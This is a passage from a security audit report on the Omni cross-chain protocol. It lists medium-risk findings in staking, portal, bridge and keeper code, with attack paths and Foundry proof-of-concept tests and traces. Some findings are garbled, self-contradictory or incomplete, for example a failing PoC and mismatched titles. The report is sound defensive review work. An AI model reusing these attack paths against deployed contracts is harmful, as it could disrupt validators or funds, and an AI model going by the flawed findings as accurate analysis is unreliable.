To resolve this issue, allow the contract administrator to set the initial `l1BridgeBalance` post-deployment, reflecting the actual balance on L1. This can be achieved through an administrative function to initialize `l1BridgeBalance` directly with the pre-funded L1 balance.

- Suggested Mitigation Code

Adding an initialization function can help set `l1BridgeBalance` post-deployment.

```
/**
 * @dev Sets the initial L1 bridge balance post-deployment.
 */
function initializeL1BridgeBalance(uint256 initialBalance) external onlyAdmin {
    require(initialBalance > 0, "OmniBridge: initial balance must be > 0");
    l1BridgeBalance = initialBalance;
}
```

This function can be called once by the administrator after deployment to reflect the correct L1 liquidity and ensure that subsequent bridge transactions proceed as expected.

3.4.40 TKhe check is not enogh there is weeaknees on Validation the Public Key in `createValidator` Function

Severity: Medium Risk

Context: Staking.sol#L91

- Description

The`createValidator`function is contain a check but is not enough cause is only checks that the public key provided is `33 bytes` , and it does not validate whether this key conforms to the required secp256k1 compressed public key format. and this omission can allow malformed or random data to be used as a validator's public key, causing a range of issues in validator registration, staking rewards this is the vulnerable part :

```
require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");
```

The pubkey should be verified as a valid secp256k1 compressed public key with specific structural requirements, including a valid prefix (0x02 or 0x03), which are mandatory for compliance within the Cosmos staking ecosystem. cause the the function accepts any 33-byte input as a valid public key, meaning that any 33-byte value—even completely random data—will pass this check and this is problem that can make the contract easy to be exploit so Attackers may submit invalid keys to register unauthorized or non-functional validators, which could further be used to benefit from the issue .

- the protocol Omni is relies on the Cosmos SDK's x/staking.MsgCreateValidator module, which expects valid secp256k1 keys for validator identity. By bypassing this expectation, invalid validators gone break or disrupt staking operations.
- Impact Invalid validators may not be recognized by the Omni staking consensus layer, so this is causing staking disruptions, inaccurate rewards, and validator set inconsistencies. also malicious

actors could exploit this by registering unauthorized validators with fake public keys, potentially bypassing the Cosmos-based authentication that Omni relies on.

- Attack Path :
- An attacker creates a random 33-byte public key, bypassing the secp256k1 format requirements.
- The attacker calls createValidator with this malformed key.
- as Results the Omni protocol registers the validator, even though the key is invalid, leading to potential mismatches in the validator set and staking disruptions.
- Proof of Concept here is the test that show the issue and the result :

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import { Staking } from "src/octane/Staking.sol";
import { Test, Vm} from "forge-std/Test.sol";
import "forge-std/console.sol";



/**
 * @title Staking_Test
 * @notice Test suite to demonstrate lack of public key validation in Staking.sol
 */
contract Staking_Test is Test {
    event CreateValidator(address indexed validator, bytes pubkey, uint256 deposit);

    Staking staking;
    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    function setUp() public {
        staking = new Staking();
    }

    /**
     * @notice Step 1: Bob (attacker) creates a random 33-byte public key
     *         that does not conform to secp256k1 format and calls createValidator.
     */
    function test_bobRegistersWithInvalidPublicKey() public {
        // Generate an invalid 33-byte key with a non-secp256k1 prefix (0x04)
        bytes memory invalidPubkey = abi.encodePacked(hex"04", keccak256("malformed key"));

        // Set the minimum deposit required
        uint256 deposit = staking.MinDeposit();

        // Fund Bobs account and have him attempt validator registration with invalid public key
        vm.deal(bob, deposit);
        vm.prank(bob);

        // Expect the CreateValidator event to be emitted despite invalid key
        vm.expectEmit(true, true, true, true);
        emit CreateValidator(bob, invalidPubkey, deposit);

        staking.createValidator{ value: deposit }(invalidPubkey);
    }

    /**
     * @notice Step 2: Alice registers using a valid secp256k1 compressed public key.
     */
    function test_aliceRegistersWithValidSecp256k1Key() public {
        // Generate a valid 33-byte secp256k1 compressed public key with a valid prefix (0x02)
        bytes memory validPubkey = abi.encodePacked(hex"02", keccak256("valid key data"));

        uint256 deposit = staking.MinDeposit();

        // Fund Alices account and have her register with a valid public key
        vm.deal(alice, deposit);
        vm.prank(alice);

        // Expect the CreateValidator event to be emitted for Alice with valid public key
        vm.expectEmit(true, true, true, true);
        emit CreateValidator(alice, validPubkey, deposit);
```

```
        staking.createValidator{ value: deposit }(validPubkey);
    }
}

/**
 * @title StakingHarness
 * @notice Wrapper around Staking.sol that allows setting owner in constructor
 */
contract StakingHarness is Staking {
    constructor(address _owner) {
        _transferOwnership(_owner);
    }
}
```

- here is the result :

```
 forge test --match-path SlashingPoc.t.sol -vvvv
[] Compiling...
No files changed, compilation skipped

Ran 2 tests for test/octane/SlashingPoc.t.sol:Staking_Test
[PASS] test_aliceRegistersWithValidSecp256k1Key() (gas: 27255)
Traces:
  [27255] Staking_Test::test_aliceRegistersWithValidSecp256k1Key()
    [230] Staking::MinDeposit() [staticcall]
      ← [Return] 10000000000000000000 [1e20]
    [0] VM::deal(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 10000000000000000000 [1e20])
      ← [Return]
    [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
      ← [Return]
    [0] VM::expectEmit(true, true, true, true)
      ← [Return]
    emit CreateValidator(validator: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], pubkey:
    ↪  0x02e61a837e0ef70457d6a88c395fadbc0f2618fe6f3c4bfae85d3976e1a75c76f2, deposit: 10000000000000000000
    ↪  [1e20])
    [5290] Staking::createValidator{value:
    ↪  10000000000000000000}(0x02e61a837e0ef70457d6a88c395fadbc0f2618fe6f3c4bfae85d3976e1a75c76f2)
      emit CreateValidator(validator: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], pubkey:
    ↪  0x02e61a837e0ef70457d6a88c395fadbc0f2618fe6f3c4bfae85d3976e1a75c76f2, deposit: 10000000000000000000
    ↪  [1e20])
      ← [Stop]
    ← [Stop]

[PASS] test_bobRegistersWithInvalidPublicKey() (gas: 27211)
Traces:
  [27211] Staking_Test::test_bobRegistersWithInvalidPublicKey()
    [230] Staking::MinDeposit() [staticcall]
      ← [Return] 10000000000000000000 [1e20]
    [0] VM::deal(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 10000000000000000000 [1e20])
      ← [Return]
    [0] VM::prank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
      ← [Return]
    [0] VM::expectEmit(true, true, true, true)
      ← [Return]
    emit CreateValidator(validator: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], pubkey:
    ↪  0x0451710a844917ec8b9fc411c4ed765ee129af69b6355058ee81f01bac11c9eb64, deposit: 10000000000000000000
    ↪  [1e20])
    [5290] Staking::createValidator{value:
    ↪  10000000000000000000}(0x0451710a844917ec8b9fc411c4ed765ee129af69b6355058ee81f01bac11c9eb64)
      emit CreateValidator(validator: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], pubkey:
    ↪  0x0451710a844917ec8b9fc411c4ed765ee129af69b6355058ee81f01bac11c9eb64, deposit: 10000000000000000000
    ↪  [1e20])
      ← [Stop]
    ← [Stop]

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 658.30µs (265.70µs CPU time)

Ran 1 test suite in 943.90ms (658.30µs CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
```

- Recommendation need to modified a check to ensure that the only valid prefixes for secp256k1 compressed keys are accept and also to confirm that the key structure matches valid secp256k1

standards.

3.4.41 Unsupported Shard Validation Bypass in:: _exec Function

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `_exec` function in the OmniPortal contract lacks validation to ensure that the shardId in incoming messages is part of the supported shards network. Due to this missing check, messages could be processed with unsupported or malicious shardIds, which may lead to unauthorized actions, inconsistencies in shard operations, and potential security risks.

```
require(
    ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
    "OmniPortal: wrong conf level"
);
```

This require statement checks that either the confLevel is set to Finalized or that it matches shardId's integer value. However, this does not validate if shardId is part of the `isSupportedShard` mapping, thus allowing any shard ID to be accepted as long as it satisfies the confLevel requirement.

Scenario

> **Suppose the system's supported shards include only `[1, 2, 3]`, as set in `isSupportedShard`. An attacker, however, submits a message with an unsupported shardId = `4` but sets the confLevel in the BlockHeader to match uint8(4), aligning with the unsupported shardId. In the _exec function, due to the conditional check `ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId)`, this message passes the requirement. As a result, the system processes the message even though shardId `4` is not a valid or supported shard in `isSupportedShard`. This bypass allows the attacker's message to be executed on an unsupported shard, which could lead to unintended cross-shard operations.**

- Impact Messages with unsupported `shardIds` may still be processed, potentially causing them to get stuck in unsupported or unconfigured shards, leading to failed cross-chain/shard communications and message backlog.
- Recommendation Add a require statement within the _exec function to validate that the `shardId` is part of `isSupportedShard`:

```
   function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;

        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
+     require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        // verify xmsg conf level matches xheader conf level
        // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs
        require(
            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
            "OmniPortal: wrong conf level"
        );
```

3.4.42 Missing `engine_forkChoiceUpdated` before `engine_newPayload` in `ExecutionPayload`

Severity: Medium Risk

Context: msg_server.go#L25, proposal_server.go#L19

- Description In the `ExecutionPayload` function, a new payload is sent to the execution client without a preceding `engine_forkChoiceUpdated` (FCU) call. The absence of an FCU call before `engine_newPayload` can lead to inconsistencies in block validation because the execution layer (EL) may not be fully synchronized to the latest fork choice. The function assumes that the EL is already aligned with the latest fork choice, but without an explicit FCU update, this alignment may not hold, particularly during conditions of network delay or node desynchronization.
- Impact Failure to perform `engine_forkChoiceUpdated` before `engine_newPayload` can cause inconsistencies in the execution chain state. If the EL is not on the correct fork choice, any payload pushed as a potential new head could conflict with the actual canonical chain. This misalignment may lead to block rejections or incorrect validation outcomes, potentially impacting finality and overall chain stability.
- Recommendation Ensure that a `engine_forkChoiceUpdated` call precedes each `engine_newPayload` invocation. This will explicitly align the execution client with the latest fork choice state, reducing the risk of chain desynchronization or validation errors. In the `ExecutionPayload` function, include an FCU call to guarantee the EL is operating on the latest fork choice before pushing a new payload as the head.

3.4.43 Validators/Users cannot withdraw or unstake their funds

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Finding Description

The Staking.sol contract enables users to deposit funds through the `createValidator()` and `delegate()`, but there is no option to withdraw or unstake their funds, if they are being disallowed or wish to exit as validators.

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol#L89-L96

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol#L146-L153

- Impact

Users who `createValidators` and `delegate` their funds could lose their funds if they are disallowed or no longer wish to participate as validators. They will have no option to recover their staked funds, which could lead to permanently locked funds, significant financial losses for users and discourage validator participation.

- Proof of Concept

A user stakes to become a validator by calling `createValidator()`

‘function createValidator(bytes calldata pubkey) external payable { require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed"); require(pubkey.length == 33, "Staking: invalid pubkey length"); require(msg.value >= MinDeposit, "Staking: insufficient deposit");

```
    emit CreateValidator(msg.sender, pubkey, msg.value);
}`
```

The contract owner disallows this validator with `disallowValidators()`, yet the user’s funds remain locked without a withdrawal option.

```
function disallowValidators(address[] calldata validators) external onlyOwner { for (uint256 i = 0; i < validators.length; i++) { isAllowedValidator[validators[i]] = false; emit ValidatorDisallowed(validators[i]); } } }
```

- Recommendation

Consider adding an option or an `unstake` function to allow validators withdraw their funds after a certain period if they wish to exit or if they are disallowed.

3.4.44 Unvalidated Owner Address

Severity: Medium Risk

Context: OmniBridgeL1.sol#L48-L53

The initialize function does not check if the `owner_` address is a contract or a regular address. if a contract address is passed as owner_ an attacker can exploit the ownership mechanism. And also, the function only validate the `omni_` address not to be a 0 address but doesn't add a check for owner_ address not be a 0 address

SCENARIO

1.Deploy a malicious contract with a fallback function that calls `transferOwnership` on the vulnerable contract.

2. Pass the malicious Owner contract address as owner_ to the initialize function.
3. The vulnerable contract will set the malicious Owner contract as its owner.
4. when the vulnerable contract calls `transferOwnership`, the malicious Owner contract fallback function will be executed, allowing the attacker to steal ownership.

The same goes for a 0 address

RECOMMENDATION Add a check to to ensure owner is not a 0 address or Add a check to ensure owner is msg.sender or by adding onlyOwner modifier to the function

3.4.45 Check for Amount Greater than Zero

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

in the OmniBridgeNative::withdraw function, there is no check if the address is not the zero address.

if a transfer does go to a zero address, this can cause permenant loss of the funds sent to that address.

- Proof of Concept
- Recommendation

Solution: Add a require(to != address(0), "Invalid address");

3.4.46 Inconsistent State Handling on Message Execution Failure in _exec Function

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary In the _exec function of the OmniPortal contract, there is a critical flaw related to the handling of message execution failures. When a message is processed, if the execution (either through `_call` or `_syscall`) fails, the function emits an XReceipt indicating the message has been processed, despite it actually failing. This results in modifications to the state, such as incrementing `inXMsgOffset`, occurring regardless of the success of the execution. Consequently, the contract can enter an inconsistent state where it falsely believes a message has been successfully processed.
- Vulnerability details The root cause of this issue lies in the lack of proper state management upon execution failures. Specifically, the function modifies state variables (like offsets) without first confirming the success of the message execution. The following line captures the result of the execution but does not prevent state changes from being applied:

```
bytes memory errorMsg = success ? bytes("") : result;
```

Even if success is `false`, state modifications such as incrementing offsets still occur:

```
inXMsgOffset[sourceChainId][shardId] += 1; // Occurs even on failure
```

- Recommendation Ensure that the state variable inXMsgOffset is only incremented if the execution succeeds.

```
if (success) {
    inXMsgOffset[sourceChainId][shardId] += 1;
}
```

3.4.47 Lack of Execution-Time Shard Validation in Cross-Chain Message Handling

Severity: Medium Risk

Context: OmniPortal.sol#L236

- Summary The `OmniPortal` contract currently validates `shardId` only during the message sending phase in the `xcall` function, but lacks validation during message execution in the `_exec` function.
- Finding Description The root cause of this vulnerability lies in the absence of a `shardId` validation check within the `_exec` function. While `xcall` ensures that only supported shards are used when sending messages, there is no equivalent check during execution, leaving a gap in the system's defense.

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    // Missing shardId validation
@=> uint64 shardId = xmsg_.shardId;
    // Other logic...
}
```

- Impact Explanation Messages with unsupported `shardId` could be executed.
- Proof of Concept Add this to `OmniPortal_exec.t.sol` and run it `forge test --match-test test_exec_unsupportedShard_reverts -vvvv`.

```
function test_exec_unsupportedShard_reverts() public {
    XTypes.Msg memory xmsg = _inbound_increment(1);
    XTypes.BlockHeader memory xheader = _xheader(xmsg);

    xmsg.shardId = 999; // intentionally unsupported shardId

    vm.chainId(xmsg.destChainId);
    portal.exec(xheader, xmsg);
}
```

- Recommendation Add a validation check for `shardId` within the `_exec` function to ensure that only messages with supported `shardId` are executed.

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    uint64 sourceChainId = xheader.sourceChainId;
    uint64 destChainId = xmsg_.destChainId;
    uint64 shardId = xmsg_.shardId;
    uint64 offset = xmsg_.offset;

    require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
    require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

    // Add shardId validation
+   require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

    // Continue with message execution...
}
```

3.4.48 Validator vote power should be configurable in the OmniPortal.sol

Severity: Medium Risk

Context: OmniPortal.sol#L357

- Description

The OmniPortal.sol has the `addValidatorSet(...)` function to add validator set at different validator set Id but does not have a corresponding function to remove validators or change validator vote power.

Having a function to remove a validator from a validator set or change the validator vote power is important to remove a validator that is either malicious or negligent considering the fact that any of the latest 10 valSetId's can be used to achieve quorum and execute transactions.

- Proof of Concept

The OmniPortal.sol has the `addValidatorSet(...)` function to add validator set at different validator set Id but does not have a corresponding function to remove validators or change validator vote power.

- Recommendation

Consider implementing a function to either update a validator vote power or remove a malicious validator

3.4.49 Potential Honest Validator Slashable Double Signing Due to Chain Reorganization

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary During chain reorganization events, the current implementation of the voting system can result in a validator being erroneously flagged for slashable double signing even when operating honestly. This occurs due to possibility where previously proposed votes continue to be processed while new votes are generated after a stream restart, potentially leading to multiple valid signatures for the same attestation offset.
- Finding Description When a reorg is detected:

1. The system restarts the block stream to handle the new chain fork
2. Previously proposed votes remain in the processing pipeline
3. The voter begins creating new votes for the reorganized chain
4. Both sets of votes could get processed and committed independently

The core issue exists in the interaction between vote creation and reorg handling:

```
func (v *Voter) runOnce(ctx context.Context, chainVer xchain.ChainVersion) error {
    return v.provider.StreamBlocks(ctx, req,
        func(ctx context.Context, block xchain.Block) error {
            // Detects reorg but doesn't stop processing of proposed votes
            if err := detectReorg(chainVer, prevBlock, block, streamOffsets); err != nil {
                reorgTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                return err // Simply restarts stream while old votes still process
            }

            // Starts creating new votes while old ones might still be processing
            if err := v.Vote(attHeader, block, first); err != nil {
                return errors.Wrap(err, "vote")
            }
            return nil
        })
}
```

- Impact Explanation The impact of this vulnerability is high:

1. Validators may be incorrectly flagged for double signing due to parallel processing of:
    - Previously proposed votes from original chain
    - Newly generated votes from reorganized chain
2. This could lead to:

- Validator slashing
- Reputation damage

3. The issue affects all honest validators during chain reorganizations
4. Multiple validators could be affected simultaneously during a major reorg

- Likelihood Explanation The likelihood of this issue occurring is moderate because it requires following operational conditions:
  - A chain reorganization event
  - Votes in the proposed state
  - Processing of old and new votes for same offset
- Proof of Concept Consider this sequence:

1. Initial chain state:

```
Time T:
Block N (height 100) -> Block N+1 (height 101)
- Validator creates attestation A for height 101
- Attestation A moves to Proposed state
- Vote processing begins
```

2. Chain reorganization occurs:

```
Time T+1:
Block N (height 100) -> Block N+1' (height 101)
- Validator detects reorg
- Stream restarts
- Attestation A continues processing
```

3. Double signing scenario:

```
Time T+2:
- Validator creates attestation B for height 101 on new fork
- Attestation A is still being processed
- Both attestations have same chainID, confLevel, attestOffset
- Both may get committed independently
- Keeper flags this as double signing
```


- Recommendation

3.4.50 Risk of Data Loss and System Failure in `instrumentVotes` and `deleteBefore` Due to Uninitialized `valProvider` in Keeper.go

Severity: Medium Risk

Context: keeper.go#L1056

- Summary In the `attest` package, the `Keeper` struct lacks initial validation of the `valProvider` field, which is set later via `SetValidatorProvider` instead of during `Keeper` creation. If methods like `instrumentVotes` are called before `valProvider` is set, this can lead to a nil pointer dereference panic. `instrumentVotes`, critical for logging validator votes, is invoked within `deleteBefore`, which handles data cleanup for attestations and signatures. If `instrumentVotes` panics, `deleteBefore` fails, leaving data uncleared. To address this, we can either enforce `valProvider` initialization during `Keeper` creation or add a nil check within `instrumentVotes` to prevent panics.
- Proof of Concept In the `attest` package, the `New` function in `keeper.go` initializes a `Keeper` instance but does not set the `valProvider` field (the validator provider) directly. Instead, `valProvider` is set later using the `SetValidatorProvider` method, allowing it to be configured after the `Keeper` is created. However, if `SetValidatorProvider` is not called or if it's set to `nil`, then `k.valProvider` remains `nil`.

halo/attest/keeper/keeper.go:Keeper#L49

```
type Keeper struct {
...
    valProvider    vtypes.ValidatorProvider
...
}

[halo/attest/keeper/keeper.go:SetValidatorProvider#L116](https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dcc
↪  ef584090/halo/attest/keeper/keeper.go#L116)
```go
// SetValidatorProvider sets the validator provider.
func (k *Keeper) SetValidatorProvider(valProvider vtypes.ValidatorProvider) {
    k.valProvider = valProvider
}
```

The issue arises if a method that depends on `valProvider`, such as `instrumentVotes`, is called before `valProvider` is set. This would cause a `nil` pointer dereference error. For instance, in `instrumentVotes`, attempting to call `k.valProvider.ValidatorSet` will panic if `valProvider` is `nil`:

```
   keeper := New(...)           // valProvider is unset
   keeper.instrumentVotes(...)  // Direct call will panic
```

halo/attest/keeper/keeper.go:instrumentVotes#L1056

```
func (k *Keeper) instrumentVotes(ctx context.Context, att *Attestation) error {
  ...
    valset, err := k.valProvider.ValidatorSet(ctx, ...)  //it will panic if `valProvider` is `nil`
    if err != nil {  // it will not be executed
        return errors.Wrap(err, "validator set", "id", att.GetValidatorSetId())
}
  ...
}
```

In `instrumentVotes`, the error handling `if err != nil` won't prevent a panic here because the panic occurs during the method call itself, interrupting the program before the error check can execute.

The `instrumentVotes` function is a key monitoring function used to track validator voting behavior, recording metrics on whether a validator voted, delayed voting, or missed voting. It is invoked by the `deleteBefore` function, which is responsible for removing all attestations and signatures before a certain height. If `instrumentVotes` panics, the `deleteBefore` function will terminate prematurely, meaning the data cleanup for that batch will fail.

halo/attest/keeper/keeper.go:deleteBefore#L1003

```
func (k *Keeper) deleteBefore(ctx context.Context, height uint64, consensusID uint64, cHeight uint64) error {
...
// Called before deleting attestations and signatures
if err := k.instrumentVotes(ctx, att); err != nil {
        return errors.Wrap(err, "instrument votes")  // Returns error, halting cleanup
}

// Only then does the actual deletion proceed
if err := k.sigTable.DeleteBy(ctx,  SignatureAttIdValidatorAddressIndexKey{}.WithAttId(att.GetId())); err !=
↪  nil {
        return errors.Wrap(err, "delete sigs")
}
...
```

The `deleteBefore` function is called by the `BeginBlock` function, which is executed at the start of each block and is primarily used for data cleanup.

halo/attest/keeper/keeper.go:BeginBlock#L645

```
func (k *Keeper) BeginBlock(ctx context.Context) error {
...
    return k.deleteBefore(ctx, before, consensusID, cBefore)  }
```

Additionally, if `k.valProvider` is not set during initialization, it also impacts both the `prevBlockValSet` and `Add` functions. The `prevBlockValSet` function calls `k.valProvider` to retrieve the active validator set from the previous block, and the `Add` function uses `prevBlockValSet` to aggregate and store votes as attestations, merging them with any existing attestations. If `k.valProvider` is unset (i.e., nil) at initialization, this
```

causes a runtime panic, preventing the retrieval of the validator set. Consequently, `Add` cannot execute properly, interrupting the entire vote processing flow, and the program will crash directly.

halo/attest/keeper/keeper.go:prevBlockValSet#L843

```
func (k *Keeper) prevBlockValSet(ctx context.Context) (ValSet, error) {
    // If k.valProvider is nil
    resp, err := k.valProvider.ActiveSetByHeight(ctx, uint64(prevBlock))
    // This will trigger a panic: nil pointer dereference
    // because it attempts to call a method on a nil interface
    ...
}
```

halo/attest/keeper/keeper.go:Add#L133

```
func (k *Keeper) Add(ctx context.Context, msg *types.MsgAddVotes) error {
    // prevBlockValSet will panic if valProvider is nil
    valset, err := k.prevBlockValSet(ctx)
    if err != nil {
        return errors.Wrap(err, "fetch validators")
    }
    // Subsequent code wont execute
    ...
}
```

- Recommendation

1. **Add a `nil` check**:

```
func (k *Keeper) instrumentVotes(ctx context.Context, att *Attestation) error {
    if k.valProvider == nil {
        return errors.New("validator provider not initialized")
    }

     valset, err := k.valProvider.ValidatorSet(ctx, ...)
     // ...
}
```

```
func (k *Keeper) prevBlockValSet(ctx context.Context) (ValSet, error) {
  if k.valProvider == nil {
      return ValSet{}, errors.New("validator provider not initialized")
  }

  prevBlock := sdk.UnwrapSDKContext(ctx).BlockHeight() - 1
  resp, err := k.valProvider.ActiveSetByHeight(ctx, uint64(prevBlock))
  ...
}
```

```
func (k *Keeper) SetValidatorProvider(valProvider vtypes.ValidatorProvider) {
  if valProvider == nil {
      return errors.New("cannot set nil validator provider")
  }
  k.valProvider = valProvider
}
```

2. **Enforce initialization**:

```
func New(
    // ... other parameters ...
    valProvider vtypes.ValidatorProvider,
) (*Keeper, error) {
    if valProvider == nil {
        return nil, errors.New("validator provider is required")
    }

    k := &Keeper{
         // ...
        valProvider: valProvider,
     }

    return k, nil
}
```

3.4.51 Cross-Shard Offset Interference issue occur in OmniPortal's Message Processing Logic

Severity: Medium Risk

Context: OmniPortal.sol#L243-L256

- Description

There is a issue occur in the `_exec` function, the function is internal, and is indirectly exposed to external calls due to its use within the xsubmit function. and this function is allows any user to submit a batch of cross-chain messages `XMsgs` for processing, in `xsubmit`function ,the `_exec` is called in a loop, processing each message individually. As a result, the shared `inXMsgOffset` counter in `_exec` is exposed to external input, and its logic can be influenced by any caller interacting with `xsubmit` here :

```
// xsubmit function within OmniPortal
function xsubmit(XTypes.Submission calldata xsub)
    external
    whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
    nonReentrant
{
    XTypes.Msg[] calldata xmsgs = xsub.msgs;
    for (uint256 i = 0; i < xmsgs.length; i++) {
        _exec(xheader, xmsgs[i]);  <--- Call to _exec within a loop
    }
}
```

-the vulnerability is here :

```
// Excerpt from the `_exec` function in OmniPortal contract
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

// Updating the offset
inXMsgOffset[sourceChainId][shardId] += 1;
```

- the _exec increments inXMsgOffset based on sourceChainId, shardId pairs. The assumption is that each shard will have independent message sequences, and there is a missing safeguards ensuring that an offset from one shard doesn't affect others. and this is opens the possibility for cross-shard sequencing interference, so If messages are submitted with overlapping or incorrect offsets, it can lead to cross-shard inconsistency, allowing certain messages to be replayed or reordered.
- Impact :

An attacker can craft a batch of messages that submits invalid offsets across different shards. By deliberately controlling offsets within xsubmit, the attacker can influence the sequencing, creating replays or incorrect transaction orders across shards. The issue is can disrupt the expected behavior of any applications relying on consistent cross-chain or cross-shard ordering, especially those that require sequential message processing.

- Attack Path :
- the xsubmit function is the entry point for potential manipulation, and is allowing an attacker to submit crafted messages and control the offsets processed by _exec.
- the vulnerable line in _exec that checks and increments inXMsgOffset can be affected by an attacker's crafted message batch. so The lack of independent offset tracking across shards means that a high volume of crafted transactions with overlapping offsets can lead to sequence interference across shards.
- as result Applications relying on sequential or isolated cross-chain message processing may encounter duplicated, replayed, or reordered transactions.
- Proof of Concept here is test show the problem on the contract :

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import { XTypes } from "../../src/libraries/XTypes.sol";
import { OmniPortal } from "../../src/xchain/OmniPortal.sol";
import { Base } from "./common/Base.sol";
```

```
import { ConfLevel } from "../../src/libraries/ConfLevel.sol";

contract OmniPortal_ShardsTest is Base {
    uint64 sourceChainId = 1001; // Sample source chain ID
    uint64 shardA = 1;           // Sample shard ID A
    uint64 shardB = 2;           // Sample shard ID B
    uint64 offset = 1;           // Starting offset for both shards

    function testShardOffsetIndependence() public {
        // Set up first XMsg for Shard A
        XTypes.BlockHeader memory xheaderA = XTypes.BlockHeader({
            sourceChainId: sourceChainId,
            consensusChainId: 0, // Not relevant for this test
            confLevel: uint8(shardA),
            offset: offset,
            sourceBlockHeight: 12345,
            sourceBlockHash: bytes32("testBlockHashA")
        });

        XTypes.Msg memory xmsgA = XTypes.Msg({
            destChainId: portal.chainId(),
            shardId: shardA,
            offset: offset,
            sender: relayer,
            to: address(0xA1),
            data: "",
            gasLimit: 100000
        });

        // Set up first XMsg for Shard B with the same offset
        XTypes.BlockHeader memory xheaderB = XTypes.BlockHeader({
            sourceChainId: sourceChainId,
            consensusChainId: 0, // Not relevant for this test
            confLevel: uint8(shardB),
            offset: offset,
            sourceBlockHeight: 12346,
            sourceBlockHash: bytes32("testBlockHashB")
        });

        XTypes.Msg memory xmsgB = XTypes.Msg({
            destChainId: portal.chainId(),
            shardId: shardB,
            offset: offset,
            sender: relayer,
            to: address(0xA2),
            data: "",
            gasLimit: 100000
        });

        // Execute the message for Shard A
        vm.prank(relayer);
        portal.exec(xheaderA, xmsgA);

        // Check if Shard A's inXMsgOffset has incremented
        uint64 shardAOffset = portal.inXMsgOffset(sourceChainId, shardA);
        assertEq(shardAOffset, offset, "Shard A offset should be incremented after exec");

        // Now try executing message for Shard B with the same offset
        vm.prank(relayer);
        portal.exec(xheaderB, xmsgB);

        // Check if Shard B's inXMsgOffset has incremented independently of Shard A
        uint64 shardBOffset = portal.inXMsgOffset(sourceChainId, shardB);
        assertEq(shardBOffset, offset, "Shard B offset should be independent and start from the same initial
↪  offset");

        // Confirm Shard A's offset remains unaffected by Shard B's message execution
        shardAOffset = portal.inXMsgOffset(sourceChainId, shardA);
        assertEq(shardAOffset, offset + 1, "Shard A offset should remain unaffected by Shard B execution");
    }
}
```


- this is the result :

```
 forge test --match-path XchainPoc.t.sol -vvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/xchain/XchainPoc.t.sol:OmniPortal_ShardsTest
[FAIL: Shard A offset should remain unaffected by Shard B execution: 1 != 2] testShardOffsetIndependence()
↪  (gas: 191340)
Traces:
  [24066426] OmniPortal_ShardsTest::setUp()
    [0] VM::addr(<pk>) [staticcall]
        [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    [0] VM::label(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], "deployer")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] xcaller: [0x80B2c17C30A2a25714db7Ff1140F3040EFD8ED2A]
    [0] VM::label(xcaller: [0x80B2c17C30A2a25714db7Ff1140F3040EFD8ED2A], "xcaller")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] relayer: [0x011f44c68A9877B052C5DE168e499e05573F8dB8]
    [0] VM::label(relayer: [0x011f44c68A9877B052C5DE168e499e05573F8dB8], "relayer")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]
    [0] VM::label(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], "owner")
        [Return]
    [0] VM::deal(xcaller: [0x80B2c17C30A2a25714db7Ff1140F3040EFD8ED2A], 10000000000000000000 [1e20])
        [Return]
